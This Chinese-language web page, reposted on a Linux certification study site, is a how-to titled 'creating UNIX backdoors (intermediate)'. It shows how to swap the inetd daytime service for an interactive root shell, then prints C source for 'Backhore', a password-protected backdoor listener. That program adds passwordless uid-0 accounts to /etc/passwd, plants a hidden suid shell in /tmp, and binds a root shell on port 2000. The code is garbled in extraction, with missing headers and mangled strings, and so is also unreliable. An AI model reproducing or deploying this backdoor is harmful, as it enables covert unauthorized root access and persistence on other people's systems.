求学资讯 Linux认证 提问
Linux认证 > 备考经验

教你如何创建UNIX后门(中级篇)

来源:用户上传 上传用户:zhongzhanen 发布时间:2017-11-10

导读:
小编为您搜集整理了"教你如何创建UNIX后门(中级篇)“,供您参考,希望对大家有所帮助!

-->

  允许的类型列在 protocols 文件中。协议几乎总是是 tcp 或 udp.RPC 服务在协议类型前冠以 rpc/.

  4:如果所说明的服务一次可处理多个请求(而不是处理一个请求后就退出),那么第四栏应置成 wait,这样可以阻止 inetd 持续地派生该守护进程的新拷贝。此选项用于处理大量的小请求的服务。如果 wait 不合适,那么在本栏中填 nowait.

  5:第五栏给出运行守护进程的用户名。

  6:第六栏给出守护进程的全限定路径名。

  7:守护进程的真实名字及其参数。

  如果所要处理的工作微不足道(如不需要用户交互),inetd 守护进程便自己处理。此时第六、七栏只需填上 'internal' 即可。所以,要安装一个便利的后门,可以选择一个不常被使用的服务,用可以产生某种后门的守护进程代替原先的守护进程。例如,让其添加 UID 0 的帐号,或复制一个 suid shell.

  一个比较好的方法之一,就是将用于提供日期时间的服务 daytime 替换为能够产生一个 suid root 的 shell.只要将 /etc/inetd.conf 文件中的:

  daytime stream tcp nowait root internal

  修改为:

  daytime stream tcp nowait /bin/sh sh -i.

  然后重启(记住:一定要重启)inetd 进程:

  killall -9 inetd.

  但更好、更隐蔽的方法是伪造网络服务,让它能够在更难以察觉的情况下为我们提供后门,例如口令保护等。如果能够在不通过 telnetd 连接的情况下轻松地进行远程访问,那是再好不过了。方法就是将"自己的"守护程序绑定到某个端口,该程序对外来连接不提供任何提示符,但只要直接输入了正确的口令,就能够顺利地进入系统。以下是这种后门的一个示范程序。(注:这个程序写得并不很完整。)

  <++> backdoor/remoteback.c

  /* Coders:

  Theft

  Help from:

  Sector9, Halogen

  Greets: People: Liquid, AntiSocial, Peak, Grimknight, s0ttle,halogen,

  Psionic, g0d, Psionic.

  Groups: Ethical Mutiny Crew(EMC), Common Purpose hackers(CPH),

  Global Hell(gH), Team Sploit, Hong Kong Danger Duo,

  Tg0d, EHAP.

  Usage:

  Setup:

  # gcc -o backhore backhore.c # ./backdoor password &

  Run:

  Telnet to the host on port 4000. After connected you

  Will not be prompted for a password, this way it is less

  Obvious, just type the password and press enter, after this

  You will be prompted for a command, pick 1-8.

  Distributers:

  Ethical Mutiny Crew

  */

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #define PORT 4000

  #define MAXDATASIZE 100

  #define BACKLOG 10

  #define SA struct sockaddr

  void handle(int);

  int

  main(int argc, char *argv[])

  {

  int sockfd, new_fd, sin_size, numbytes, cmd;

  char ask[10]="Command: ";

  char *bytes, *buf, pass[40];

  struct sockaddr_in my_addr;

  struct sockaddr_in their_addr;

  printf("n Backhore BETA by Theftn");

  printf(" 1: trojans rc.localn");

  printf(" 2: sends a systemwide messagen");

  printf(" 3: binds a root shell on port 2000n");

  printf(" 4: creates suid sh in /tmpn");

  printf(" 5: creates mutiny account uid 0 no passwdn");

  printf(" 6: drops to suid shelln");

  printf(" 7: information on backhoren");

  printf(" 8: contactn");

  if (argc != 2) {

  fprintf(stderr,"Usage: %s passwordn", argv[0]);

  exit(1);

  }

  strncpy(pass, argv[1], 40);

  printf("using password: %sn", pass);

  if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {

  perror("socket");

  exit(1);

  }

  my_addr.sin_family = AF_INET;

  my_addr.sin_port = htons(PORT);

  my_addr.sin_addr.s_addr = INADDR_ANY;

  if (bind(sockfd, (SA *)&my_addr, sizeof(SA)) == -1) {

  perror("bind");

  exit(1);

  }

  if (listen(sockfd, BACKLOG) == -1) {

  perror("listen");

  exit(1);

  }

  sin_size = sizeof(SA);

  while(1) { /* main accept() loop */

  if ((new_fd = accept(sockfd, (SA *)&their_addr, &sin_size)) == -1) {

  perror("accept");

  continue;

  }

  if (!fork()) {

  dup2(new_fd, 0);

  dup2(new_fd, 1);

  dup2(new_fd, 2);

  fgets(buf, 40, stdin);

  if (!strcmp(buf, pass)) {

  printf("%s", ask);

  cmd = getchar();

  handle(cmd);

  }

  close(new_fd);

  exit(0);

  }

  close(new_fd);

  while(waitpid(-1,NULL,WNOHANG) > 0); /* rape the dying children */

  }

  }

  void

  handle(int cmd)

  {

  FILE *fd;

  switch(cmd) {

  case '1':

  printf("nBackhore BETA by Theftn");

  printf("theft@cyberspace.orgn");

  printf("Trojaning rc.localn");

  fd = fopen("/etc/passwd", "a+");

  fprintf(fd, "mutiny::0:0:ethical mutiny crew:/root:/bin/sh");

  fclose(fd);

  printf("Trojan complete.n");

  break;

  case '2':

  printf("nBackhore BETA by Theftn");

  printf("theft@cyberspace.orgn<");

  printf("Sending systemwide messagen");

  system("wall Box owned via the Ethical Mutiny Crew");

  printf("Message sent.n");

  break;

  case '3':

  printf("nBackhore BETA by Theftn");

  printf("="theft@cyberspace.orgn'>mailto:theft@cyberspace.orgn">theft@cyberspace.orgn");

  printf("nAdding inetd backdoor… (-p)n");

  fd = fopen("/etc/services","a+");

  fprintf(fd,"backdoort2000/tcptbackdoorn");

  fd = fopen("/etc/inetd.conf","a+");

  fprintf(fd,"backdoortstreamttcptnowaittroott/bin/sh -in");

  execl("killall", "-HUP", "inetd", NULL);

  printf("ndone.n");

  printf("telnet to port 2000nn");

  break;

  case '4':

  printf("nBackhore BETA by Theftn");

  printf("="theft@cyberspace.orgn'>mailto:theft@cyberspace.orgn">theft@cyberspace.orgn");

  printf("nAdding Suid Shell… (-s)n");

  system("cp /bin/sh /tmp/.sh");

  system("chmod 4700 /tmp/.sh");

  system("chown root:root /tmp/.sh");

  printf("nSuid shell added.n");

  printf("execute /tmp/.shnn");

  break;

  case '5':

  printf("nBackhore BETA by Theftn");

  theft@cyberspace.orgn");

  printf("nAdding root account… (-u)n");

  fd=fopen("/etc/passwd","a+");

  fprintf(fd,"hax0r::0:0::/:/bin/bashn");

  printf("ndone.n");

  printf("uid 0 and gid 0 account addednn");

  break;

  case '6':

  printf("nBackhore BETA by Theftn");

  printf("theft@cyberspace.orgn<");

  printf("Executing suid shelln");

  execl("/bin/sh");

  break;

  case '7':

  printf("nBackhore BETA by Theftn");

  printf("theft@cyberspace.orgn");

  printf("nInfo… (-i)n");

  printf("n3 - Adds entries to /etc/services & /etc/inetd.conf giving youn");

  printf("a root shell on port 2000. example: telnet 2000nn");

  printf("4 - Creates a copy of /bin/sh to /tmp/.sh which, whenevern");

  printf("executed gives you a root shell. example:/tmp/.shnn");

  printf("5 - Adds an account with uid and gid 0 to the passwd file.n");

  printf("The login is 'mutiny' and there is no passwd.");

  break;

  case '8':

  printf("nBackhore BETA by Theftn");

  printf("http://theft.bored.orgn");

  printf(theft@cyberspace.orgnn");

  break;

  default:

  printf("unknown command: %dn", cmd);

  break;

  }

  }

  <-->

声明:本站为免费网络服务提供商,网站所有信息均为用户自行发布并由用户承担相应法律责任,本站不对其真实性及合法性负责,如涉及侵权或者信息违法,请你及时与本站联系删除。

阅读 1314 举报

相关推荐
评论0

当前没有评论内容

发表评论 0条评论
90
微博
QQ
QQ空间
微信
取消